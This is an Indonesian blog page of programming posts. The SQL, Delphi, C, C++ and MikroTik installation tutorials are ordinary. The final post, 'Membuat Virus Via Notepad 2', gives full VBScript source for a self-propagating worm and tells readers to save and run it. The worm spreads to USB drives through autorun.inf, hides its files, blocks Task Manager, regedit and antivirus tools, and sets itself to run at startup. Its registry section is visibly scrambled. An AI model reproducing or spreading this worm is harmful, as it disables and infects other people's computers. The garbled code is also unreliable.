ff
 
Tampilkan postingan dengan label komputer. Tampilkan semua postingan
Tampilkan postingan dengan label komputer. Tampilkan semua postingan

Bahasa Pemrograman SQL

Sabtu, 16 Oktober 2010

SQL (Structured Query Language) adalah sebuah bahasa yang dipergunakan untuk mengakses data dalam basis data relasional. Bahasa ini secara de facto merupakan bahasa standar yang digunakan dalam manajemen basis data relasional. Saat ini hampir semua server basis data yang ada mendukung bahasa ini untuk melakukan manajemen datanya.
Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni 1970. Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language).

Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL. Implementasi basis data relasional dikenal dengan System/R.


Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data.

Standarisasi

Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92. Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92.

Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing.

Pemakaian dasar

Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD)[1], namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD.

Data Definition Language

DDL digunakan untuk mendefinisikan, mengubah, serta menghapus basis data dan objek-objek yang diperlukan dalam basis data, misalnya tabel, view, user, dan sebagainya. Secara umum, DDL yang digunakan adalah CREATE untuk membuat objek baru, USE untuk menggunakan objek, ALTER untuk mengubah objek yang sudah ada, dan DROP untuk menghapus objek. DDL biasanya digunakan oleh administrator basis data dalam pembuatan sebuah aplikasi basis data.

CREATE

CREATE digunakan untuk membuat basis data maupun objek-objek basis data. SQL yang umum digunakan adalah:

CREATE DATABASE nama_basis_data

CREATE DATABASE membuat sebuah basis data baru.

CREATE TABLE nama_tabel

CREATE TABLE membuat tabel baru pada basis data yang sedang aktif. Secara umum, perintah ini memiliki bentuk

CREATE TABLE [nama_tabel]
(
nama_field1 tipe_data [constraints][,
nama_field2 tipe_data,
...]
Data Manipulation Language

DML digunakan untuk memanipulasi data yang ada dalam suatu tabel. Perintah yang umum dilakukan adalah:

* SELECT untuk menampilkan data
* INSERT untuk menambahkan data baru
* UPDATE untuk mengubah data yang sudah ada
* DELETE untuk menghapus data

SELECT

SELECT adalah perintah yang paling sering digunakan pada SQL, sehingga terkadang istilah query dirujukkan pada perintah SELECT. SELECT digunakan untuk menampilkan data dari satu atau lebih tabel, biasanya dalam sebuah basis data yang sama. Secara umum, perintah SELECT memiliki bentuk lengkap:

SELECT [nama_tabel|alias.]nama_field1 [AS alias1] [, nama_field2, ...]
FROM nama_tabel1 [AS alias1] [INNER|LEFT|RIGHT JOIN tabel2 ON kondisi_penghubung]
[, nama_tabel3 [AS alias3], ...]
[WHERE kondisi]
[ORDER BY nama_field1 [ASC|DESC][, nama_field2 [ASC|DESC], ...]]
[GROUP BY nama_field1[, nama_field2, ...]]
[HAVING kondisi_aggregat]

dengan:

* kondisi adalah syarat yang harus dipenuhi suatu data agar ditampilkan.
* kondisi_aggregat adalah syarat khusus untuk fungsi aggregat.

Kondisi dapat dihubungkan dengan operator logika, misalnya AND, OR, dan sebagainya.

Contoh:

Diasumsikan terdapat tabel user yang berisi data sebagai berikut.
username passwd tanggal_lahir jml_transaksi total_transaksi
Aris 6487AD5EF 09-09-1987 6 10.000
Budi 97AD4erD 01-01-1994 0 0
Charlie 548794654 06-12-1965 24 312.150
Daniel FLKH947HF 24-04-1980 3 0
Erik 94RER54 17-08-1945 34 50.000

Contoh 1: Tampilkan seluruh data.

SELECT *
FROM user

Contoh 2: Tampilkan pengguna yang tidak pernah bertransaksi.

SELECT *
FROM user
WHERE total_transaksi = 0

Contoh 3: Tampilkan username pengguna yang bertransaksi kurang dari 10 dan nilainya lebih dari 1.000.

SELECT username
FROM user
WHERE jml_transakai < 10 AND total_transaksi > 1000

Contoh 4: Tampilkan total nominal transaksi yang sudah terjadi.

SELECT SUM(total_transaksi) AS total_nominal_transaksi
FROM user

Contoh 5: Tampilkan seluruh data diurutkan berdasarkan jumlah transaksi terbesar ke terkecil.

SELECT *
FROM user
ORDER BY jml_transaksi DESC

Fungsi aggregat

Beberapa SMBD memiliki fungsi aggregat, yaitu fungsi-fungsi khusus yang melibatkan sekelompok data (aggregat). Secara umum fungsi aggregat adalah:

* SUM untuk menghitung total nominal data
* COUNT untuk menghitung jumlah kemunculan data
* AVG untuk menghitung rata-rata sekelompok data
* MAX dan MIN untuk mendapatkan nilai maksimum/minimum dari sekelompok data.

Fungsi aggregat digunakan pada bagian SELECT. Syarat untuk fungsi aggregat diletakkan pada bagian HAVING, bukan WHERE.

Subquery

Ada kalanya query dapat menjadi kompleks, terutama jika melibatkan lebih dari satu tabel dan/atau fungsi aggregat. Beberapa SMBD mengizinkan penggunaan subquery. Contoh:

Tampilkan username pengguna yang memiliki jumlah transaksi terbesar.

SELECT username
FROM user
WHERE jml_transaksi =
(
SELECT MAX(jml_transaksi)
FROM user
)

INSERT

Untuk menyimpan data dalam tabel dipergunakan sintaks:

INSERT INTO [NAMA_TABLE] ([DAFTAR_FIELD]) VALUES ([DAFTAR_NILAI])

Contoh:

INSERT INTO TEST (NAMA, ALAMAT, PASSWORD) VALUES ('test', 'alamat', 'pass');

UPDATE

Untuk mengubah data menggunakan sintaks:

UPDATE [NAMA_TABLE] SET [NAMA_KOLOM]=[NILAI] WHERE [KONDISI]

Contoh:

UPDATE Msuser set password="123456" where username="abc"

[sunting] DELETE

Untuk menghapus data dipergunakan sintaks:

DELETE FROM [NAMA_TABLE] [KONDISI]

Contoh:

DELETE FROM TEST WHERE NAMA='test';
bAca sElenGkapNyA!!

Bahasa Pemrograman Borlan Dhelpi

Delphi adalah sebuah bahasa pemrograman dan lingkungan pengembangan perangkat lunak. Produk ini dikembangkan oleh Borland (sebelumnya dikenal sebagai Inprise). Bahasa Delphi, yang sebelumnya dikenal sebagai object pascal (pascal dengan ekstensi pemrograman berorientasi objek (PBO/OOP)) pada mulanya ditujukan hanya untuk Microsoft Windows, namun saat ini telah mampu digunakan untuk mengembangkan aplikasi untuk Linux dan Microsoft .NET framework (lihat di bawah). Dengan menggunakan Free Pascal yang merupakan proyek opensource, bahasa ini dapat pula digunakan untuk membuat program yang berjalan di sistem operasi Mac OS X dan Windows CE

Pada tanggal 8 Februari 2006, Borland mengumumkan akan melepas seluruh jajaran produk pengembangan aplikasi komputernya termasuk di antaranya Delphi. [1]

Lingkungan pengembangan

Umumnya delphi lebih banyak digunakan untuk pengembangan aplikasi desktop dan enterprise berbasis database, tapi sebagai perangkat pengembangan yang bersifat general-purpose ia juga mampu dan digunakan dalam berbagai jenis proyek pengembangan software. Ia juga yang dikenal sebagai salah satu yang membawa istilah RAD tool, kepanjangan dari Rapid Application Development, saat dirilis tahun 1995 untuk windows 16-bit. Delphi 2, dirilis setahun kemudian, mendukung lingkungan windows 32-bit, dan versi c++, C++Builder, dirilis beberapa tahun kemudian. Pada tahun 2001 sebuah versi linux yang dikenal sebagai Kylix tersedia. Dengan satu rilis baru setiap tahunnya, pada tahun 2002 dukungan untuk Linux (melalui Kylix dan CLX component library) ditambahkan dan tahun 2003 .NET mulai didukung dengan munculnya Delphi.Net (Delphi 8).

Chief Architect yang membidani Delphi, dan pendahulunya Turbo Pascal, adalah Anders Hejlsberg sampai kemudian ia pindah ke Microsoft tahun 1996 di mana ia sebagai chief designer C# dan termasuk orang kunci dalam perancangan Microsoft .Net Framework. Dukungan penuh untuk .Net ditambahkan pada Delphi 8 (dirilis pada bulan Desember 2003) dengan penampilan user interface (look and feel) mirip dengan Microsoft Visual Studio .NET.

Delphi 2005 (nama lain dari Delphi 9) mendukung code generation baik untuk win32 maupun .NET, dan seperti yang telah dikenal, fitur-fitur manipulasi data secara live dari database secara design-time. Ia juga membawa banyak pembaruan pada IDE secara signifikan.

Para penganjur delphi mengklaim dengan bahasa pemrograman Delphi, IDE dan component library (VCL/CLX) yang disediakan oleh vendor tunggal memungkinkan satu paket yang lebih konsisten dan mudah dikenali.

Produk delphi ini didistribusikan dalam beberapa rancangan: Personal, Professional, Enterprise (sebelumnya Client/Server) dan Architect.

Bahasa pemrograman

Perbedaan fitur yang utama antara Delphi, Kylix dengan IDE-IDE yang lain adalah keberadaan bahasanya (Bahasa pemrograman delphi), VCL/CLX (Visual Component Library), Penekanan konektifitas database yang sangat baik, dan banyaknya komponen-komponen pihak ketiga yang mendukungnya.

Aspek penting yang perlu dicatat tentang Bahasa pemrograman Delphi termasuk:

* Penanganan object sebagai reference/pointer secara transparan
* Properti sebagai bagian dari bahasa tersebut; benar, sebagai getter dan setter (atau accessor and mutator), yang secara transparan mengenkapsulasi akses pada field-field anggota dalam kelas tersebut.
* Property index dan Default yang menyediakan akses pada data kolektif
* Pendelegasian (type safe method pointer) yang digunakan untuk memproses event yang dipicu oleh component
* Pendelegasian implementasi interface pada Field ataupun property dari class.
* Implementasi penanganan windows message dengan cara membuat method dalam class dengan nomer/nama dari windows message yang akan dihandle.
* COM bersifat sebagai interface yang independen dengan implementasi class sebagai reference counted
* Kompilasi yang dapat menghasilkan kode yang berjalan secara native x86 ataupun managed code pada arsitektur framework .NET.

Pro and kontra

Delphi membawa keuntungan-keuntungan berikut:

* Komunitas pengguna yang besar pada Usenet maupun web [2]
* Dapat mengkompilasi menjadi single executable, memudahkan distribusi dan meminimalisir masalah yang terkait dengan versioning
* Banyaknya dukungan dari pihak ketiga terhadap VCL (biasanya tersedia berikut source codenya) ataupun tools pendukung lainnya (dokumentasi, tool debugging)
* Optimasi kompiler yang cukup cepat
* Mendukung multiple platform dari source code yang sama

Berikut ini kerugiannya:

* Partial single vendor lock-in (Borland dapat menetapkan standar bahasa, kompatibilitas yang harus mengikutinya)
* Terbatasnya kamampuan portabilitas antar-platform OS (sebelum ada kylix)
* Akses pada platform dan library pihak ketiga membutuhkan file-file header yang diterjemahkan ke dalam bahasa pascal
* Dokumentasi atas platform dan teknik-teknik yang menyertainya sulit ditemukan dalam bahasa pascal (contoh akses COM dan Win32)

Klon dan alternatifnya

Meskipun tidak bersifat subsitutif penuh terhadap keseluruhan paket delphi, ada beberapa usaha yang dilakukan untuk membuat kompatibilitas bahasa ini menjadi lebih baik atu bahkan lebih buruk dengan membuat kode delphi yang tidak bisa dicapai oleh delphi ataupun kylix sendiri.

Produk-produk berikut bisa membuat kode delphi berjalan dalam alur yang tidak mungkin dilakukan oleh Delphi (seperti dukungan terhadap sistem operasi yang berbeda, distribusi yang gratis dan penggunaan untuk kebutuhan pendidikan, dan penyertaan kode dari kompilernya sendiri) yang menjadikan vendor bisa menjadi lebih independen. Produk-produk berikut ini umumnya digunakan untuk kebutuhan edukasi dan mengusahakan agar sisi aplikasi delphi yang berjalan pada server bisa berjalan pada sistem operasi alternatif selain dari yang didukung oleh delphi/kylix, umumnya produk tersebut sudah mensupport linux sebelum kylix muncul.

* Bloodshed Dev-Pascal Salah satu IDE Win32 yang mensupport GNU Pascal maupun Free Pascal
* Free Pascal Kompiler berbasis commandline dengan dialek yang sangat dekat dengan Turbo Pascal dan Delphi. Fitur yang terdapat pada Delphi versi 4 ke atas hanya diimplementasikan pada seri versi 1.9.x (akan menjadi seri 2.0.x). Versi beta ini sudah bisa digunakan secara baik. Beroperasi umumnya pada sistem operasi berbasis x86. Mendukung Linux, Mac OS dan Mac OS X (termasuk implementasi Xcode) pada keluarga PowerPC, dan Linux berbasis AMD64. SPARC and arsitektur Mesin RISC Acorn (ARM) masih sedang dikerjakan dan belum siap dideploy.
* GNU Pascal secara terpisah didistribusikan sebagai bagian dari GNU Compiler Collection dan tidak mendukung dialek pascal yang diimplementasikan borland
* InnerFuse merupakan interpreter bahasa Delphi yang dapat diintegrasikan dengan aplikasi Delphi
* Lazarus merupakan satu upaya untuk membangun sebuah RAD berbasis Free Pascal.
* OpenSibyl
* Virtual Pascal
* WDOSX
* Winsoft Pocket Studio

Pranala luar

* About Delphi Programming
* Borland Delphi
* Delphi Wiki
* delphi3000.com
* Delphi Basics
* Delphi Developers' Asia and Singapore
* The Delphi Object Model
* Delphi Pages
* Delphi Super Page
* Delphi Tutorials on Delphi Central
* Delphi Tricks
* Dr. Bob's Delphi, C++Builder and JBuilder Programming Clinic
* Kumpulan artikel delphi
* Delphi Open Directory Project
* Project JEDI
* Torry's Delphi Pages
* Pascal Game Development
* Milis 'Delphindo'
* Delphi Indonesia (http://delphi-id.org)
* Felix COlibri, source codes with technical articles (ado net, asp net, Interbase, SQL Server, socket programming, Design Patterns). Training courses and consulting
bAca sElenGkapNyA!!

Bahasa Pemrograman C++

C++ adalah salah satu bahasa pemrograman komputer. Dibuat pada tahun 1980-an oleh Bell Labs (Bjarne Stroustrup) sebagai pengembangan dari Bahasa pemrograman C. Salah satu perbedaan yang paling mendasar dengan bahasa C adalah dukungan terhadap konsep pemrograman berorientasi objek (Object Oriented Programming).

Program C++ pertama

Contoh program sederhana C++ untuk hello world dengan menggunakan standar pustaka C++ dapat dilihat di bawah ini:

#include // provides std::cout

int main()
{
std::cout << "Hello, world!\n";
return 0;
}

Kata yang dicadangkan

Kelompok pertama

C++ mempunyai 32 buah kata yang dicadangkan (reserved words). Kata kunci kelompok pertama merupakan turunan dari bahasa C, di antaranya:
auto const double float int short struct unsigned
break continue else for long signed switch void
case default enum goto register sizeof typedef volatile
char do extern if return static union while

Kelompok kedua

Kata yang dicadangkan kelompok kedua berjumlah 30. Kata-kata ini adalah baru dan hanya ada di bahasa C++.
asm dynamic_cast namespace reinterpret_cast try
bool explicit new static_cast typeid
catch false operator template typename
class friend private this using
const_cast inline public throw virtual
delete mutable protected true wchar_t

Kata-kata yang dicadangkan tersebut di atas tidak boleh dipakai sebagai nama variable, class, enum, macro, dan struct.

Tipe data dasar

Untuk menyimpan suatu variabel diperlukan tempat khusus di dalam memori komputer. Besar dan tipe dari variabel-variabel di dalam standar program C++ dispesifikasikan sebagai berikut:
Nama Keterangan Ukuran Jangkauan
char Abjad/karakter atau untuk bilangan bulat kecil 1 byte signed: -128 to 127

unsigned: 0 to 255
short int (short) Bilangan bulat dengan jangkauan pendek 2 byte signed: -32768 to 32767

unsigned: 0 to 65535
int Bilangan bulat 4 byte signed: -2147483648 to 2147483647

unsigned: 0 to 4294967295
long int (long) Integer dengan jangkauan panjang 4 byte signed: -2147483648 to 2147483647

unsigned: 0 to 4294967295
bool Boolean, dapat bernilai benar atau salah (true or false) i byte true or false
float Angka dengan titik mengambang (bilangan cacah) 4 byte 3.4e +/- 38 (7 digit)
double Bilangan cacah dengan ketelitian ganda 8 byte 1.7e +/- 308 (15 digits)
long double Bilangan cacah dengan ketelitian ganda panjang 8 byte 1.7e +/- 308 (15 digits)
wchar_t Karakter lebar, biasa dipakai untuk Unicode karakter 2 byte 1 karakter lebar

Daftar C++ compiler

Untuk merubah kode-kode C++ program menjadi suatu program aplikasi yang dimengerti oleh sistem operasi dan komputer, diperlukan sebuah C++ compiler. Berikut ini adalah beberapa C++ compiler yang dapat digunakan secara gratis:

* Microsoft Visual C++ 2005 Express
* Turbo C++ Explorer
* Apple Xcode for Mac OS X
* Open Source Watcom / OpenWatcom C/C++ Compiler
* Digital Mars C/C++ Compiler (Symantec C++ Replacement)
* Bloodshed Dev-C++ C++ Compiler
* Free Microsoft .NET Framework Software Development Kit (SDK) / Free Microsoft Visual C++ Compiler
* Intel C++ Compiler for Linux Non-Commercial Version
* Sun Studio Compilers and Tools
* Open64 Compiler Tools
* Apple's Macintosh Programmer's Workshop (C and C++ compilers)
* TenDRA C/C++ Compiler
* GNU C/C++ Compiler
* Ch Embeddable C/C++ Interpreter (Standard Edition)
* DJGPP C and C++ Compilers
* CINT C and C++ Interpreter
* SDCC C Cross-compiler
* Cygwin Project (C & C++ Compilers)
* SDCC C Cross-compiler
bAca sElenGkapNyA!!

Bahasa Pemrograman C

Bahasa pemrograman C adalah salah satu bahasa pemrograman komputer. Dibuat pada tahun 1970-an untuk Sistem Operasi Unix oleh Bell Labs (Ken Thompson dan Dennis M. Ritchie). Merupakan kelanjutan dari bahasa BCPL. Bahasa Pemrograman C merupakan salah satu bahasa pemrograman yang paling sering dipakai oleh pemrogram di seluruh dunia, terutama karena C memperbolehkan pengaksesan memori secara manual.

C telah mempengaruhi bahasa-bahasa pemrograman yang lain, terutama C++. Bahkan C seringkali dipakai untuk membuat bahasa-bahasa pemrograman yang lain. Umumnya C dipakai untuk membuat program sistem dan jaringan, walaupun tidak jarang juga dipakai untuk membuat program aplikasi.

Versi Bahasa C

C K&R

Pada tahun 1978, Dennis Ritchie dan Brian Kernighan menerbitkan edisi pertama dari buku yang berjudul The C Programming Language. Buku ini hingga sekarang diakui sebagai kitab suci bahasa C dan merupakan referensi utama seorang pemrogram yang ingin mengetahui tentang bahasa C, terutama karena begitu lengkapnya cakupan buku ini tentang bahasa C dan mudahnya program yang dicontohkan dalam buku ini.

Versi bahasa C yang ditampilkan dalam buku ini kemudian dikenal dalam kalangan pemrogram sebagai C K&R. Pada buku The C Programming Language edisi kedua kemudian melingkupi ANSI C yang diperkenalkan belakangan.

ANSI C & ISO C

Pada perkembangannya, muncul versi-versi C lain yang pada akhirnya membuat kebingungan di kalangan pemrogram. Karena itu, pada tahun 1983, American National Standards Institute (ANSI) membuat sebuah komite untuk membuat sebuah versi standar dari bahasa C. Setelah melalui proses yang panjang dan sengit, pada tahun 1989, telah berhasil disahkan standar yang dinamakan ANSI X3.159-1989, versi ini seringkali dinamakan ANSI C, atau kadang-kadang C89.

Pada 1990, versi ANSI C diadopsi oleh Organization for Standardization (ISO) dengan sedikit perubahan dengan nama ISO/IEC 9899:1990. Versi ini seringkali dinamakan ISO C atau C90. Karena versi ANSI C dan ISO C hanya memiliki sedikit perbedaan, pemanggilan C90 dan C89 merujuk pada bahasa yang sama.

C99

Versi C99 dibuat oleh ISO C pada tahun 1999. Versi ini dimaksudkan terutama untuk memperbanyak dukungan kepada pemrograman berorientasi objek, terutama setelah C++, yang dibuat berdasarkan bahasa ini mendapat tempat yang istimewa di kalangan pemrogram

Pustaka

Pustaka (seringkali dirujuk sebagai library), adalah kumpulan fungsi-fungsi yang terkandung dalam satu file, Setiap file pustaka mempunyai satu Header file yang menyimpan cetak biru dari fungsi-fungsi yang terkandung dalam file pustaka.

Bahasa C seringkali dipakai untuk membuat file-file pustaka yang menyimpan fungsi-fungsi tertentu, dikarenakan C dapat dikompile menjadi bahasa mesin yang sangat cepat dan kecil ukurannya, kemudian bahasa pemrograman lain seperti Python yang akan menciptakan antar-muka dari fungsi-fungsi yang dikandungnya.

Pustaka yang paling sering dipakai adalah Pustaka Standar C, yang berisi fungsi-fungsi standar yang berasal dari ANSI C. Pustaka standar ini sekarang telah terkandung dalam hampir setiap kompiler C yang dipakai.


Hello, World!

Berikut ini adalah contoh program sederhana yang akan mencetak kalimat "Hello, World!" dengan menggunakan pustaka stdio.h (ANSI C):

#include 

int main(void) {
printf("Hello, World!\n");
return 0;
bAca sElenGkapNyA!!

Instalasi Mikrotik Router OS V 2.9

Mikrotik routerOS adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer biasa menjadi router network yang handal,mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless.

Fitur-fitur tersebut diantaranya : Firewall & Nat, Routing, Hotspot, Point to Point Tunneling Protocol, DNS server, DHCP server, Hotspot, dan masih banyak lagi fitur lainnya.

Komputer yang akan digunakan sebagai router network cukup dengan spesifikasi menengah, di tempat saya bekerja, Mikrotik dipergunakan pada cpu Pentium III 800 Mhz, RAM 512 mb dan hdd 10 Gb sebagai firewall dan hotspot server untuk melayani sekitar 150 user.

Berikut ini adalah step-step instalasi Mikrotik routerOS

Sebelumnya persiapkan dulu cd instalasi miktorik, kalau belum punya ya silahkan cari pinjaman atau download dulu file ISO mikrotik di sini. Setelah cd siap maka masukkan ke cdrom dan lakukan boot from cd.
pastikan komputer yang akan dipergunakan memiliki minimal satu ethernet card.

Setelah proses booting selesai maka akan muncul tampilan berikut (klik untuk gambar yang lebih jelas):

Proses instalasi dilanjutkan dengan pembuatan partisi dan format harddisk, harap diingat bahwa mikrotik akan mengambil semua space yang ada di harddisk. karena itu tidak disarankan utk menginstall mikrotik pada harddisk operasional yang berisi data-data penting seperti mp3 atau mungkin file avi kesayangan anda. (lho kok data operasional penting mp3 dan avi .. jangan jangan :-D )

Setelah melakukan pembuatan partisi dan memformat harddisk maka tahap terakhir adalah menginstall paket-paket yang dipilih pada awal tadi ke dalam harddisk. setelah selesai tekan enter untuk reboot.

Mikrotik yang baru saja di download dan di install adalah versi shareware yang hanya bisa dipergunakan sementara dan akan bisa dipergunakan lebih lanjut bila melakukan registrasi terlebih dahulu, tapi jangan khawatir, versi ini sudah cukup untuk dipakai belajar kok.
bAca sElenGkapNyA!!

Membuat Virus Via Notepad 2


Membuat Virus Via Notepad 2

Membuat Virus Via Notepad 2

Hi…..
Melanjutkan artikel yang waktu itu “BUAT VIRUS VIA NOTEPAD” kita akan membuat virus yang lebih hebat lagi. Kalau ada yang belum tahu, saya mau minta maaf karena di artikel sebelumnya ada kesalahan code. Silahkan ganti kata “rekursif” menjadi “rekur”. Kalau enggak, bisa syntax error nanti :(

Nah kita akan buat varian lain dari KALONG.VBS. Yaitu KALONG-X.VBS. Lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan :)
Ayo sekarang kita buka saja Notepadnya dan ketikkan code berikut. Jika malas kan tinggak Copy > Paste….
‘Kalong-X
‘Varian dari Kalong.VBS


on error resume next

‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd

’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39

’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then

set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39

set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)

‘Ubah IE Title
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” kalong.RegWriterrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debu “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD” ‘Buat pesan saat Windows Startup kalong.rgger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” kalong.RegWritekalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->KALONG-X<- ::” ‘File Hidden tak terlihat kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD” ‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” kalong.RegWriteegwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X” kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic” ‘Aktifkan saat Windows Startup kalong.regwriteCurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microso “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs” ‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Cuft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe” ‘Bonus if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

Setelah Anda menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :

Ingat jadilah orang yang bermanfaat bagi orang lain. Tidak ada “barang berbahaya” disini karena Andalah yang membuatnya berbahaya. Saya tidak bertanggung jawab apabila Anda menyalahgunakan kode ini. Ini untuk ilmu pengetahuan semata. Kalau disalahgunakan saya kutuk mukanya mirip Tukul (Wah…jadi terkenal nanti)…jangan deh. Pokoknya segala kenekatan Anda ditanggung oleh Anda sendiri.
Virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan)
NOTE: Untuk membersihkan Kalong-X caranya mudah. Tinggal hentikan proses yang bernama wscript.exe. Jika di WinNT Anda bisa melakukannya lewat Task Manager. Tapi kalau Win9X silahkan cari tool pengganti Task Manager misalnya Procexp atau CurrProcess. Soalnya terkadang kalau lewat perintah Command Prompt gak bisa.
Setelah Anda memberhentikan proses wscript.exe hapus file induk yang bernama k4l0n6-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options. Setelah itu perbaiki Registry. Untuk mempercepat salin kode ini ke Notepad :
[Version]
Signature=”$Chicago$”
